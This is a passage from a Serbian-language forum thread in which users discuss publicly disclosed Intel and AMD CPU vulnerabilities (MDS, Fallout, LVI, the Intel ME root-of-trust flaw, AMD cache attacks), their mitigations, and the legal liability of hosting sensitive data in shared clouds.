za drugom, i ne vidi se tome kraj. Prikrpili su meltdown u najnovijoj seriji Coffee Lake, a gle sad ovo?

edit:
ali na spectre su ranjive sve ooo arhitekture ukljucujuci ARM.
[ nkrgovic @ 17.05.2019. 15:15 ] @
Neko rek'o RISC-V ? :D

Znam, znam.... ali lepo se nadati. :D
[ Branimir Maksimovic @ 17.05.2019. 15:37 ] @
Ma kakav RISC ovo je inovacija: https://en.wikipedia.org/wiki/Mill_architecture
[ nkrgovic @ 17.05.2019. 17:33 ] @
VLIW, ovo nesto kao Itanic? :) hmmm.... nema out of order... hmm.... hm.... :D
[ Branimir Maksimovic @ 25.05.2019. 17:47 ] @
Mislim da je ideja dosta dobra, samo je pitanje da li ce to ikada zaziveti, tim pre sto likovi koji ovo rade i nemaju bas neke resurse.
Nego da se vratimo na Intel:
https://www.techspot.com/artic...d-is-intel-no-hyper-threading/
Citat:

As we've come to learn recently, there are four new hardware vulnerabilities that affect Intel processors. These new flaws allow attackers to leak confidential data by exploiting microarchitectural data sampling (MDS) side-channel vulnerabilities, of which the most serious is arguably 'ZombieLoad'.

Unlike previous speculative execution flaws that partially affected AMD and Arm-based processors, the MDS flaws are exclusive to Intel chips. In the short term the only way to mitigate or minimize these vulnerabilities is to disable simultaneous multithreading (SMT), or as Intel brands it "Hyper-Threading."

As it stands Microsoft is pushing out OS-level updates to address the four MDS vulnerabilities and you’ll get those with this month's Windows 10 1903 update. However, this doesn’t mitigate the problem entirely, for that we need motherboard BIOS updates and reportedly Intel has released the new microcode to motherboard partners. However as of writing no new BIOS revisions have been released to the public. We believe we can test a worst case scenario by disabling Hyper-Threading and for older platforms that won’t get updated this might end up being the only solution.

[ nkrgovic @ 25.05.2019. 18:49 ] @
[ Branimir Maksimovic @ 01.06.2019. 01:28 ] @
I jos jedan...
https://arxiv.org/abs/1905.12701

Citat:

Recently, out-of-order execution, an important performance optimization in modern high-end processors, has been revealed to pose a significant security threat, allowing information leaks across security domains. In particular, the Meltdown attack leaks information from the operating system kernel to user space, completely eroding the security of the system. To address this and similar attacks, without incurring the performance costs of software countermeasures, Intel includes hardware-based defenses in its recent Coffee Lake R processors.
In this work, we show that the recent hardware defenses are not sufficient. Specifically, we present Fallout, a new transient execution attack that leaks information from a previously unexplored microarchitectural component called the store buffer. We show how unprivileged user processes can exploit Fallout to reconstruct privileged information recently written by the kernel. We further show how Fallout can be used to bypass kernel address space randomization. Finally, we identify and explore microcode assists as a hitherto ignored cause of transient execution.
Fallout affects all processor generations we have tested. However, we notice a worrying regression, where the newer Coffee Lake R processors are more vulnerable to Fallout than older generations.


Hehe, ovo nema kraja...
[ Zlatni_bg @ 01.06.2019. 06:37 ] @
Ne znam zasto ali sticem utisak da je neko napravio bazu propusta i stekuje je za dalje intelove postupke. Kako stvari stoje, jedno krpljenje siri drugu rupu, pa onda jos vise naglase stari propust. Ako odrade drugacije, performanse moraju da ispastaju jos vise nego sto je situacija.

Evidentno je da su prsli sa trenutnom arhitekturom, mislim da ako gledamo sigurnost mozemo samo da ocekujemo nesto od 10nm i vidimo sta ce tu da bude. Na computexu su namerno pogasili racunare koji navodno imaju 10nm CPU u sebi kako niko ne bi mogao da radi testove, dok je AMD opet uradio po receptu od protekle 2 godine. Sad kako stvari stoje AMD ima i bolji IPC koji jaca za 15%, clock nece ici na gore jer mislim da je samo die shrink u pitanju (iako se spominju neki veci clockovi - videcemo kad izadju). Memory controller isto poboljsan... ako bude kako kazu a nema razloga da bude drugacije, mislim da ce sramota da ih bude - verovatno i trenutno jeste, dok se drugi hvali, oni mogu samo da krpe rupe :)

Do skoro sam i ja, a verovatno i ostali i razmisljali o 9th gen procesorima, kupovini... sad bas, bas nema razloga kupovati Intel CPU. I ono sto nije server-grade ce verovatno otici onima koji ipak misle da je Intel i dalje bolji po performansama. Jedva cekam da vidim sve benchmarke kad izadje Ryzen 3000.

Sve u svemu... obrnula se situacija. AMD radio u tisini 5 godina, ne izbacivsi skoro nista sto vec nije napravljeno, dok ovi i dalje izbacuju stvari bazirane na skoro Skylake arhitekturi ko manijaci sa po kojim dodatim jezgrom, povecavajuci klokove koje su ljudi i tako dostizali :D
[ dejanet @ 01.06.2019. 08:53 ] @
Mislim da Intelova taktika ima smisla, kupuju vreme. Pobediti Intel za kratko vreme, moguce je samo radikalnom promenom arhitekture, dok promena pr. procesa, kao sto vidimo nije dovoljna, AMD gubi momentum.
[ Branimir Maksimovic @ 01.06.2019. 08:57 ] @
Ranjivost Intelovih procesora u odnosu na AMD, govori potpuno suprotno.
[ Zlatni_bg @ 02.06.2019. 01:31 ] @
AMD nije kupovao vreme, prodavali su sta su imali, i koliko toliko se prodavalo. Sa druge strane, Ryzen ne bi dobio toliku popularnost da nisu imali taj bum efekat. Konkurencija niotkuda. Najvise govori promenjena nomenklatura procesora (i5 sa 6c, itd, ubacen i9 van hedt) koje nije bilo dok AMD nije reagovao. Znaci da Intel namerno vec 10 godina zakida i namerno stekuje ono sto moze da proda po vecoj ceni da bi imali kompetentnost, a sa druge strane suplji ko sir.

AMD ne gubi momentum UOPSTE ako uspeju da dobace tih 15% IPC, malcice jace klokove i bude ponude koliko i potraznje. Jos ako uspeju da zavrte memoriju na 3600MHz, to ce da bude i vise od 15% IPC.
[ Branimir Maksimovic @ 02.06.2019. 07:28 ] @
AMD sad ima memoriju na 3200, znaci 3600 nije nemoguce. Da IPC izgleda da je sad veci od Intela.
[ Space Beer @ 02.06.2019. 12:08 ] @
Citat:
Branimir Maksimovic:
I jos jedan...
https://arxiv.org/abs/1905.12701

Hehe, ovo nema kraja...


To je Fallout, već "predstavljen" na prethodnoj strani ;) Ima previše rupa, nema potrebe da se ponavljaju :d
[ Branimir Maksimovic @ 02.06.2019. 14:45 ] @
Zaveo me datum clanka.
[ Texas Instruments @ 12.12.2019. 15:22 ] @
Još malo security issue-a sa Intelovim procesorima, sada sa SGX uz malo undervolt-a.

https://plundervolt.com/
[ Branimir Maksimovic @ 02.02.2020. 06:43 ] @
https://cacheoutattack.com/

Jos jedna u nizu ranjivosti Intel procesora...
[ nkrgovic @ 06.03.2020. 09:05 ] @
Ovaj je gadan:

https://www.zdnet.com/article/...worse-than-previously-thought/

U sustini, breach za silicon root of trust. Ako ja ovo dobro citam, ovime moze lepo da se kompromituje management engine i uvali u njega virus, koji OS nece ni da vidi i koji ce sasvim lepo da radi i u situacijama kad je masina "ugasena".... Detekcija infekcije? Mozda Zeek ili tako nesto.
[ Branimir Maksimovic @ 08.03.2020. 06:39 ] @
Nije samo Intel, evo ga jedan problematicni za AMD:

Citat:

A new paper released by the Graz University of Technology details two new "Take A Way" attacks,
Collide+Probe and Load+Reload, that can leak secret data from AMD processors by manipulating the L1D cache predictor.
The researchers claim that the vulnerability impacts all AMD processors from 2011 to 2019, meaning that the Zen microarchitecture is also impacted. (PDF)

The university says it disclosed the vulnerabilities to AMD on August 23, 2019, meaning it was disclosed in a responsible manner
(unlike the CTS Labs debacle), but there isn't any word of a fix yet. We've pinged AMD for comment.


https://www.tomshardware.com/n...vered-impacts-zen-architecture
[ Branimir Maksimovic @ 08.03.2020. 06:49 ] @
Nego meni se cini da je OOO arhitektura generalno ranjiva i da
ako ovo hoce da se resi, da ili usporimo procesore, pa se vratimo
na "in order", ili da se nadje nesto trece...
[ Ivan Dimkovic @ 08.03.2020. 22:49 ] @
Citat:
nkrgovic:
Ovaj je gadan:

https://www.zdnet.com/article/...worse-than-previously-thought/

U sustini, breach za silicon root of trust. Ako ja ovo dobro citam, ovime moze lepo da se kompromituje management engine i uvali u njega virus, koji OS nece ni da vidi i koji ce sasvim lepo da radi i u situacijama kad je masina "ugasena".... Detekcija infekcije? Mozda Zeek ili tako nesto.


Kompromitovanje hardverskog korena poverenja je najgadniji moguci scenario koji moze da se desi. Intel nece dobiti puno fanova sa ovim bagom. Pogotovu ne od strane cloud provajdera kao i autora sadrzaja koji se oslanjaju na secure-boot (koji se oslanja na poverenje da procesor nije kompromitovan).

Ako ne postoji hardverski garantovan "koren poverenja" onda nista iznad ne moze biti uzeto kao autenticno.

Koliko vidim, za ovo nema resenja osim novog hardvera. Podseca me na HDCP 1.x hack, gde su hakeri dosli do master kljuca i bukvalno obesmislili ceo protokol sto se sigurnosti tice, jedino resenje je bio prelazak na novi protokol (ironicno, prve 2.x verzije su takodje bile kompromitovane doduse ne kompletno, sve dok nisu promenili uslove tako da nove implementacije moraju biti uradjene u TEE zoni).

Dok mnogi razmisljaju o kradji DRM zasticenog materijala (tja, content provajderi ce samo sve trenutne Intel sisteme proglasiti za nesigurne i servirati im sadrzaj adekvatan platformi koja nema hardversku bezbednost), potencijalni problem je daleko grdji: Najgori scenario kompromitovanog korena poverenja je situacija gde malware sebe moze da proglasi za "trusted", i da sebe instalira negde duboko u firmware-u (ako si kriptografski proveren i prolazis kao hw. trusted - niko ti ne brani da instaliras UEFI module u firmware sa dovoljnim privilegijama). Recimo kao PEI ili DXE UEFI modul koji se aktivira u ranoj fazi inicijalizacije procesora. Onda lepo tokom inicijalizacije malware napravi sigurnu enklavu u memoriji koju niko ne moze da cita (ni hipervizor ni kernel OS-a) i fino se ugradi kao procesiranje nekog interapta. I onda lepo pusti UEFI i OS bootloader da nastave svoj posao, potpuno nesvesni da imaju bag koji ne mogu ni da iscitaju.

Takav malware ni jedan antivirus nece moci da detektuje, zato sto malware koristi sam procesor da ga ucini nevidljivim bilo kom drugom procesu, ukljucujuci i hipervizor ili cak SMM kod.

Nezgodno.

[ Ivan Dimkovic @ 08.03.2020. 22:59 ] @
Citat:
Branimir Maksimovic:
Nego meni se cini da je OOO arhitektura generalno ranjiva i da
ako ovo hoce da se resi, da ili usporimo procesore, pa se vratimo
na "in order", ili da se nadje nesto trece...


Kada je OOO arhitektura postala mainstream (sredina 90-tih) niko verovatno nije razmisljao o implikacijama koriscenja servera kao multi-tenant sistema gde "vlasnik" svih procesa nije isto lice, vec mogu biti razlicite firme ili razlicite firme i "bad actors".

Ljudi su samo hteli da naprave brzi procesor.

Zahtevi za totalnu paranoju (brisanje svakog traga predikcije kako drugi proces/VM ne bi iz kesa pokupio nesto sto mu ne pripada) su novi i dosli su relativno skoro.

Sumnjam da ce OOO dizajn biti odbacen zbog ovoga, OOO je drasticno efikasniji od in-order dizajna da niko ne bi bio spreman da prihvati degradaciju performansi na pentium IPC nivo.

Daleko realniji scenario je da ce proizvodjaci procesora morati da potrose vise tranzistora za predikciju, koji ce biti zaduzeni za proaktivnu zastitu - od proaktivnog brisanja sadrzaja iz kesa do dodatnih operacija koje ce obrisati bilo kakav trag lose predikcije. Jbg, sh*t happens.
[ nkrgovic @ 09.03.2020. 08:07 ] @
Citat:
Ivan Dimkovic:
Dok mnogi razmisljaju o kradji DRM zasticenog materijala (tja, content provajderi ce samo sve trenutne Intel sisteme proglasiti za nesigurne i servirati im sadrzaj adekvatan platformi koja nema hardversku bezbednost), potencijalni problem je daleko grdji: Najgori scenario kompromitovanog korena poverenja je situacija gde malware sebe moze da proglasi za "trusted", i da sebe instalira negde duboko u firmware-u (ako si kriptografski proveren i prolazis kao hw. trusted - niko ti ne brani da instaliras UEFI module u firmware sa dovoljnim privilegijama). Recimo kao PEI ili DXE UEFI modul koji se aktivira u ranoj fazi inicijalizacije procesora. Onda lepo tokom inicijalizacije malware napravi sigurnu enklavu u memoriji koju niko ne moze da cita (ni hipervizor ni kernel OS-a) i fino se ugradi kao procesiranje nekog interapta. I onda lepo pusti UEFI i OS bootloader da nastave svoj posao, potpuno nesvesni da imaju bag koji ne mogu ni da iscitaju.

Takav malware ni jedan antivirus nece moci da detektuje, zato sto malware koristi sam procesor da ga ucini nevidljivim bilo kom drugom procesu, ukljucujuci i hipervizor ili cak SMM kod.

Nezgodno.


Bas ovo je meni prvo palo na pamet. Sta bi radio da own-ujes silicon root of trust, a da pravis mallware? Ubacio se negde gde me OS ne vidi i onda radio sta 'ocu..... Vrlo, vrlo nezgodno.

Kazem, ovo se jedino detektuje uz Zeek, ili neka komercijalna resenja tipa Vectra, Stealthwatch, Dark Trace... tako nesto. Jednostavno, detektujes zarazen racunar tako sto pratis njegovo ponasanje na mrezi, ignorisuci sam racunar. Jedino sto ovakve security provere ne radi skoro niko....
[ nkrgovic @ 09.03.2020. 08:12 ] @
Citat:
Ivan Dimkovic:
Daleko realniji scenario je da ce proizvodjaci procesora morati da potrose vise tranzistora za predikciju, koji ce biti zaduzeni za proaktivnu zastitu - od proaktivnog brisanja sadrzaja iz kesa do dodatnih operacija koje ce obrisati bilo kakav trag lose predikcije. Jbg, sh*t happens.

Tehnicki, ovo bi trebalo da je delimicno resivo i enkripcijom - ako je sva memorija kriptovana dzaba ti pristup memoriji drugog procesa. Problemi koji ostaju su sto je onda potrebno izvesti hardversku, transparentnu enkripciju koja ne utice na performanse, sto treba obezbediti key storage na nacin koji nije moguce probiti (vidi post iznad :/ ) - i naravno sto treba to resiti i za keseve unutar procesora. Doduse, ovo je generalno dobra stvar, ako se doda transparentna enkripcija memorije to ce ojacati i cloud provajdere (pa oni to mozda poguraju, a oni definitivno imaju uticaja na planove proizvodjaca procesora), sto kombinovano sa pazljivijom zastitom moze da na kraju ispadne dobro po korisnike koji prezive....

I da, i dalje je skoro sigurno jevtinije sve to ubaciti u hardver nego izbaciti OOO i branch prediction.
[ Branimir Maksimovic @ 09.03.2020. 08:26 ] @
"Tehnicki, ovo bi trebalo da je delimicno resivo i enkripcijom - ako je sva memorija kriptovana dzaba ti pristup memoriji drugog procesa."

Jeste, ali dalje:

"Problemi koji ostaju su sto je onda potrebno izvesti hardversku, transparentnu enkripciju koja ne utice na performanse,"

To je nemoguce. Enkripcija je teska. Znaci, osim prostog dekodera treba u procesor ugraditi i dekriptor koji ce
sigurno biti tezi od prostog in-order dizajna, znacajno tezi. Takav procesor bi radio kao puz.

edit:
mislim, ovo se moze izvesti vec i bez izmene hardvera. Sve drzis kriptovano po page-u
mapiras stranicu dekriptujes/kriptujes. Prozor je vrlo mali da ti neko ukrade podatak.
[ nkrgovic @ 09.03.2020. 08:44 ] @
Mislis? Ja se nesto secam da je Sparc M8 imao enkripciju... Datasheet kaze:

Citat:
End-to-end encryption of data with near-zero performance impact


Evo i link:

http://www.oracle.com/us/produ...rc-m8-processor-ds-3864282.pdf

Kazem, imao sam i neke demoe, razlika u performansama je bila oko 5%.
[ Branimir Maksimovic @ 09.03.2020. 08:53 ] @
Nisam upoznat sa procesorom, ali ta enkripcija verovatno nije na nivou
dekodera, nesto je drugo u pitanju verovatno, da li deo toga enkriptuju
ili se to programski inhibira?
Mislim ne mogu da zamislim samo 5% da je sporije.U svakom slucaju
nesto moraju da smisle zato sto je OOO arhitektura generalno busna i
ovi exploiti samo iskacu.
Ovo sto sam linkovao za AMD je sveze, cak nema ni CVE :(
Mozda ce upravo sledece generacije imati crypt engine, slican
Oracle-ovom?
[ nkrgovic @ 09.03.2020. 09:08 ] @
Koliko sam ja razumeo, ceo enkriptor i dekriptor su implementirani u hardveru. Da, znam - skupo resenje... ali to je jedino sto mi pada na pamet.
[ Ivan Dimkovic @ 09.03.2020. 23:35 ] @
Citat:
Branimir Maksimovic:
"Tehnicki, ovo bi trebalo da je delimicno resivo i enkripcijom - ako je sva memorija kriptovana dzaba ti pristup memoriji drugog procesa."

Jeste, ali dalje:

"Problemi koji ostaju su sto je onda potrebno izvesti hardversku, transparentnu enkripciju koja ne utice na performanse,"

To je nemoguce. Enkripcija je teska. Znaci, osim prostog dekodera treba u procesor ugraditi i dekriptor koji ce
sigurno biti tezi od prostog in-order dizajna, znacajno tezi. Takav procesor bi radio kao puz.

edit:
mislim, ovo se moze izvesti vec i bez izmene hardvera. Sve drzis kriptovano po page-u
mapiras stranicu dekriptujes/kriptujes. Prozor je vrlo mali da ti neko ukrade podatak.


Nije enkripcija uopste nuzno skupa - ako je cilj da se memorija kriptuje, dekripciju i enkripciju ces uvek raditi u kesu, ako je to kritican feature - povecaces kes (koji je skup, naravno) i raditi operacije nad memorijom direktno u kesu. U tom slucaju je samo pitanje koliko tranzistora zelis da potrosis na crypto - teoretski celu stvar mozes da napravis da bude masivno paralelna (odabirom algoritma koji je podesan za masivnu paralelizaciju) i da prakticno potrosi samo nekoliko CPU ciklusa za celu stranicu ako staje u uvecani kes.

Skupo? Relativno u odnosu na direktan pristup memoriji, ali daleko od problematicnog. Na kraju krajeva, nije potrebno da kriptujes >svu< memoriju, dovoljno je da kriptujes memoriju koju koristi hipervizor i OS kernel i aplikacije markirane kao "kriticne" sto se bezbednosti. Nema nikakve potrebe da kriptujes memoriju za Angry Birds, ali ima smisla da to radis za bazu podataka.

Medjutim ovaj problem ne resava problem sadrzaja u kesu - taj sadrzaj nije kriptovan u momentu procesiranja i postalo bi vrlo skupo da se pri svakom context switch-u sve u kesu ponovo kodira i kes obrise. Ako taj problem resis na neki drugi nacin (recimo restrikcijama i obaveznim brisanjem rezultata lose predikcije) nemas potrebu da kriptujes bilo sta.

Postoje i druga resenja, tipa blinded operacije nad kriptovanim podacima, ali tu vec ulazimo u skoro-pa-SF teritoriju nekog hipotetickog procesora koji vrsi operacije nad kriptovanim podacima bez da ima uvid u dekriptovane podatke. To bi bilo totalno cool, ali mislim da to necemo videti skoro :-)
[ nkrgovic @ 10.03.2020. 12:59 ] @
Evo, na El Reg-u clanak o zanimljivim side-channel napadima na AMD kes mehanizme...

https://www.theregister.co.uk/...9/amd_sidechannel_leak_report/

Bukvalno je dovoljno otvoriti sajt, jedan od exploit-a radi iz javascripta...
[ Branimir Maksimovic @ 10.03.2020. 13:01 ] @
To je ono sto sam ja linkovao i jos nema CVE :(
[ Branimir Maksimovic @ 12.03.2020. 04:37 ] @
Izgleda da ce Intel procesori drasticno da uspore:

Citat:

Meltdown The Sequel strikes Intel chips – and full mitigation against data-meddling LVI flaw will slash performance


https://www.theregister.co.uk/2020/03/10/lvi_intel_cpu_attack/
[ Ivan Dimkovic @ 14.03.2020. 13:41 ] @
Dobra vest: ovaj napad je relativno komplikovan (mnogo vise od nivoa koje poseduje prosecni pa i iznad-prosecni haker), zahteva vrlo dobro poznavanje sistema i ciljanih SGX procesa. Za ne-SGX procese cela stvar nema puno smisla, em sto je tesko izvesti napad em sto postoje daleko laksi nacini da se dodje do podataka van SGX zasticenih enklava.

To znaci da ce exploiti biti "made to order" i biti vrlo verovatno prilicno skupi.

Tu se dobre vesti zavrsavaju.

Predlozen "fix" od strane Intel-a (ubacivanje lfcence instrukcije posle citanja) - ovo je uzas i prakticno pretvara kod u serijalizovan negirajuci sve prednosti spekulativnog izvrsavanja, strazivaci racunaju da ce kod biti usporen 2x-19x (taman se lepo vidi koliko OOO donosi u brzini + na ove cifre dodati jos X% koliko je Intel eliminisao zbog predhodnih rupa).

Srecom ne sastoji se aplikacija samo od load instrukcija ali opet... bice sigurno slucaja zestokog usporenja. Ukombinovano sa predhodnim microcode fix-evima za ranije propuste, korisnici verovatno imaju sasvim dovoljan razlog za udruzenu akciju protiv Intel-a.

Pravo resenje za ovo ce biti, kao i obicno, novi CPU.
[ ademare @ 14.03.2020. 15:53 ] @
Navodno 10. nije pogodjena . Tu je bilo malo konfuzije , jer je otkriveno jos 2019 .

Grupa koja je otkrila propust i koju posredno finansira Intel je prvo objavila da 10. nije pogodjena . Intel je napisao da jeste , ali je posle ispravio .

Tako da mozda ne treba novi jer je vec imun ?
[ nkrgovic @ 14.03.2020. 18:14 ] @
Citat:
Ivan Dimkovic:
Dobra vest: ovaj napad je relativno komplikovan (mnogo vise od nivoa koje poseduje prosecni pa i iznad-prosecni haker), zahteva vrlo dobro poznavanje sistema i ciljanih SGX procesa. Za ne-SGX procese cela stvar nema puno smisla, em sto je tesko izvesti napad em sto postoje daleko laksi nacini da se dodje do podataka van SGX zasticenih enklava.

To znaci da ce exploiti biti "made to order" i biti vrlo verovatno prilicno skupi.

Tu se dobre vesti zavrsavaju.

Sustina ovoga je u tome da mi zapravo ne znamo (jos uvek) kako ce se ovo odraziti na cloud providere.

Zamisli da si konsultant (kao ja) ili CTO/CIO korporacije koja ima 3rd parties - cliente. Imas nesto na IaaS Cloud-u (ili SaaS/PaaS sve jedno). Prolazi compliance. Pitanej je "da li imate izolaciju nasih podataka od trecih lica?" Odgovor "pa imamo, osim ako ne angazuju neke skupe hakere" bas i nije neki. :) Ako ZNAS da postoji problem ti si DUZAN da uradis neki remediate - ili se otvaras za tuzbu, plus gubis compliance. Zamisli kako je cloud provider-ima...? Njihove opcije su:

- Da ne urade nista i debelo se otvore za tuzbu
- Da ubace zastite i uspore SVE za znacajan procenat.

Kao i da :

- Uzmu nove procesore (opet) hitno u procesu koji traje i skup je? Mozda?
- Ponude to klinetima besplatno? :) Nisu ni njihove margine toliko duboke...
- Ponude to klijentima uz price premium ? Onda uskacu svi private cloud vendori u igru.....

Ceo problem sa svim ovim OOO bugovima su zapravo shared / public cloud varijante. Nije problem imati explitable bug u svom hardveru, ako je hardver pod tvojom kontrolom, u DC-u, van DMZ-a, iza dva firewall-a, network traffic analizom i sa kontrolisanim pristupom. Nece exploit da se pokrene sam od sebe. Ali je i te kako problem ako ja treba da prodam nekome public cloud.... a hocu da drzim neke poverljive podatke.
[ Ivan Dimkovic @ 14.03.2020. 18:34 ] @
Jbg, ako hoces garanciju - moraces da preporucis klijentu da zakupi ceo host za sebe, bez deljenja sa trecim licima.

Ili da predje na AMD instance, za koje bar ne znamo da li pate od neceg slicnog.

AMD ima isto enkripciju memorije, mada nisam zalazio u detalje / poredjenja Intel SGX i AMD-ove Memory Protection tehnologije.

Mada, iskreno, ako je sigurnost prioritet broj #1 - nisam uopste siguran da je ideja deljenja servera sa nekim drugim uopste vredna razmatranja. Ne znam, da sam ja CIO firme koja ima podatke od kriticne vaznosti cije curenje moze predstavljati opasnost za samo prezivljavanje firme, mislim da ne bih ni razmatrao bilo koju varijantu deljenog hardvera.

Cloud ili ne je drugo pitanje, bar postoje tehnicka resenja koja omogucuju da cloud vendor nema pristup podacima, koliko pouzdana zavisi od toga koliko daleko si spreman da ides tj. da li verujes hardverskoj atestaciji i zastiti procesora/sistema, ili ces uvesti dodatan nivo gde se finalna obrada radi ili na transformisanim (blinded) podacima na cloud strani, ili se dekriptovani podaci procesiraju samo on-prem.
[ nkrgovic @ 14.03.2020. 18:44 ] @
Nije toliko pitanje "garancije", koliko regulative... Zamisli lekara ili advokata, mala ordinacija/kancelarija sa jednim ili par ljudi, plus nesto pomocnog osoblja. Bukvalno ni oni ne mogu da posluju u javnom cloud-u....
[ Ivan Dimkovic @ 14.03.2020. 18:59 ] @
Ne znam jedino sto mi na pamet pada su geo-ogranicenja.

Ostalo nije problem, jedino je pitanje isplativosti - da li se maloj kancelariji isplati da zakupi server(e) za sebe kod cloud provajdera (u tom slucaju je pitanje da li vise isplati da idu kod nekog specijalizovanog). Sigurnost sa kompletnom enkripcijom sistema i trusted boot-om je skoro ekvivalentna sigurnscu koju bi imali sa drzanjem sopstvenog servera u datacentru.

Jedini dodatni rizik je mogucnost da sam cloud provajder snifuje podatke nekim hardverskim modulom, ali i za to postoji resenje ali svakako ne bi bilo isplativo malim igracima - u tom slucaju je bolje da kupe svoj server i drze ga negde sa fizickim obezbedjenjem.
[ Branimir Maksimovic @ 14.03.2020. 19:35 ] @
Mislim da se vracamo na pricu da OOO arhitektura nije bezbedna. Nema tu garancija. Kako istrazivaci rade na otkrivanju ranjivosti tako
rade i hakeri, sa time da hakeri to nece da objavljuju. Znaci rizik je tu, samo je pitanje kakva i kolika ce se steta nekom napraviti...
[ Ivan Dimkovic @ 14.03.2020. 20:07 ] @
OOO arhitektura "nije sigurna" samo u kontekstu izvrsavanja tudjih stvari na sistemu ili deljenja sistema sa drugima.

Ako pricamo o komercijalnoj upotrebi, svodi se na pitanje da li masina deli vise korisnika - u slucaju cloud servisa to jeste problem.

Ako je masina samo tvoja, problem degradira na klasicnu fizicku sigurnost (pristup hardveru), mreznu sigurnost (pristup drugih) i kontrolu sta se izvrsava.

Znaci ako ti je kutija izolovana od Interneta, ili bar ima minimalni moguci footprint (znaci imas neki sigurnosni gateway, kriticni delovi sistema su razdvojeni od Interneta i sl.) - ostaje pitanje fizicke sigurnosti i sta izvrsavas.
[ nkrgovic @ 14.03.2020. 21:13 ] @
Citat:
Ivan Dimkovic:
Jedini dodatni rizik je mogucnost da sam cloud provajder snifuje podatke nekim hardverskim modulom, ali i za to postoji resenje ali svakako ne bi bilo isplativo malim igracima - u tom slucaju je bolje da kupe svoj server i drze ga negde sa fizickim obezbedjenjem.

Gledaj, to se resava ugovorom. Ako ja, kao lekarska ordinacija, imam ugovor sa provajderom, i onda oni to prekrse, ja nisam odgovoran. Ja sam uradio svoj due dilligence, sve sam pokrio, neko je prekrsio zakon.... Nisam odgovoran ni ako neko provali u kancelariju nocu i odnese kartone.

Ali rupa u hardveru za koju znam a na koji ja nisam reagovao da zastitim pacijente - to je druga prica. Za to vec mogu da me tuze.
[ Ivan Dimkovic @ 14.03.2020. 22:10 ] @
Nisam siguran da to tako uvek funkcionise.

Ne mogu nista da kazem za medicinsku industriju, ali mogu da kazem za auto industriju.

Radi jednostavnosti, izbacicemo osiguranja (ne auto osiguranja, vec osiguranja koja sluze za osiguravanje firmi, menadzera, itd.)

U principu, proizvodjac automobila ce uvek biti strana koja ce biti odgovorna za stetu ako se nadje neki defekt u njihovom proizvodu (automobilu) koji je odgovoran za smrt, stetu, stagod.

Sud i stranu koja tuzi (moze biti drzava ili neki broj privatnih lica) ne zanima kako je proizvodjac automobila organizovao svoje ugovore sa dobavljacima, oni (proizvodjac automobila) su ti koji su prodali proizvod koji mora da zadovoljava neke standarde, ako ima defekt koji izaziva smrt ili stetu, sud ce svakako naci proizvodjaca krivim i od njega ce se potrazivati kinta. Ostecenu stranu ne zanima uopste odakle je dosao deo koji je fundamentalno odgovoran za stetu.

Ako se radi o nekom "obicnom" tehnickom propustu, to je jednostavan slucaj. Ako se radi o necemu gadnijem tipa da se dokaze da su znali za problem ili da su cak namerno ignorisali problem, onda se poteze kriminalna odgovornost i steta je veca, ali ajde da odbacimo to kao off-topic.

E sad sledi drugi deo price, proizvodjac automobila ce, naravno, za sve sto moze ugovorno da svali na dobavljace.

Znaci firma koja pravi, npr, menjac ili kocioni sistem ce se ugovorom obavezati da ce platiti stetu ako je problem nastao u njihovom proizvodu. Zato proizvodjaci automobila rade sa vioko-kapitalizovanim dobavljacima (kojih nema puno) - zato sto bi sve ostalo bilo ogroman rizik da, sto Englezi kazu, proizvodjaci ostanu sa "onom stvari" u rukama, iako je greska u komponenti treceg lica. Tier-1 firme su visoko kapitalizovane, imaju osiguranja i, u principu, u najgorem slucaju mogu da plate za stetu (pricam o steti za neki propust koji se desio prostom greskom, ne necemu kriminalnom).

I to tako dalje propagira dokle moze dole u "lancu ishrane", ali u principu ispod proizvodjaca automobila imas jedan nivo koji je finansijski u stanju da pokriva ozbiljne probleme (Tier-1) u toj industriji (gde cifre mogu vrlo lako da postanu desetine ili stotine miliona $/EUR), sve ispod toga su manje firme koje cesto nemaju ukupnu vrednost koliko stete moze da se napravi njihova komponenta u nekom najgorem slucaju. Obicno te firme ili imaju osiguranja ili Tier-1 proizvodjac prihvata taj fakat kao rizik poslovanja sa njima i to je to.

Da se onda vratimo na primer sa kompjuterima.

Ako sistem funkcionise slicno, Lekarska ordinacija je odgovorna za podatke korisnika - potpuno je nebitno kako su oni to regulisali sa IT provajderom, pacijent ili drzava ce od njih traziti kintu.

Sta se dalje desava zavisi - ocekivao bih da ce naravno da pokusaju da tuze onoga ko im je ponudio IT usluge, ali postoji milion razloga koji bi omogucili IT provajderu da se izvuce. Recimo, ako je greska u hardveru za koji IT provajder nije mogao znati nikako i u ugovoru je sistem prosao sve testove za prihvatanje, onda stvar ide na sud koji ce videti sta ugovor kaze i gde je limit odgovornosti. Ako nisi znao za gresku ili cak nisi ni mogao znati za nju, i ugovor ne predvidja da kupca obestecujes za sve, vrlo verovatno mozes da se izvuces.

Zato je magicna rec od koje svi advokati dobijaju fit "indemnify" tj. obestecenje (tj. ako su advokati firme od koje se to trazi) - obicno jaca strana uvek trazi od slabije da je stiti i obesteti u bilo kom slucaju stete nastale koriscenjem njihove usluge tj. bar tako pocinju svi pregovori. I to je obicno uvek najduzi deo legalnog pregovaranja. Naravno kao odgovoran vlasnik firme ne zelis ni jedan ugovor u kome ces ti da stitis kupca od stete nastale zbog propusta trece strane. Da li ces to moci uvek da izbacis zavisi od toga koliko si bitan, dobar, kakva je konkurencija.

Na kraju krajeva, cak i ako ne mozes to da izbacis, mozes da probas da ogranicis situacije gde ces pokriti stetu i uzeti osiguranje za ostalo i to uracunati u cenu poslovanja.

[ nkrgovic @ 15.03.2020. 08:51 ] @
Ma kapiram ja sve, imam i ja neke ugovore gde sam morao tako nesto da potpisem, jedan od razloga sto poslujem kao drustvo sa ogranicenom odgovornoscu... Ono sto zelim reci je: Ti mozes da ogranicis scope tog indemnification-a, a najmanji je problem da se ogranicis od kriminalnih radnji. Jednostavno, ti nisi odgovoran za stetu koja je nastala ako:

a) Provajder narusi privatnost u skladu sa sudskom odlukom (Oni dobiju nalog za prisluskivanje)
b) Provajder direktnom akcijom svojih zaposlenih izvrsi krivicno delo (Industrijska spijunaza, hakerisanje, sta god.... sve je to krivicno delo).

Tu si, obicno, bez problema off the hook. E sad, ako trece lice (haker) razbije zastitu provajdera, onda zavisi od mnogo toga, ali, ako si ti znao da je ta zastita podlozna razbijanju (ima neki meltdown/spectre/stagod) - onda ti jesi odgovoran, sto nisi uradio neki remediation.... E to je ono sto mene muci.

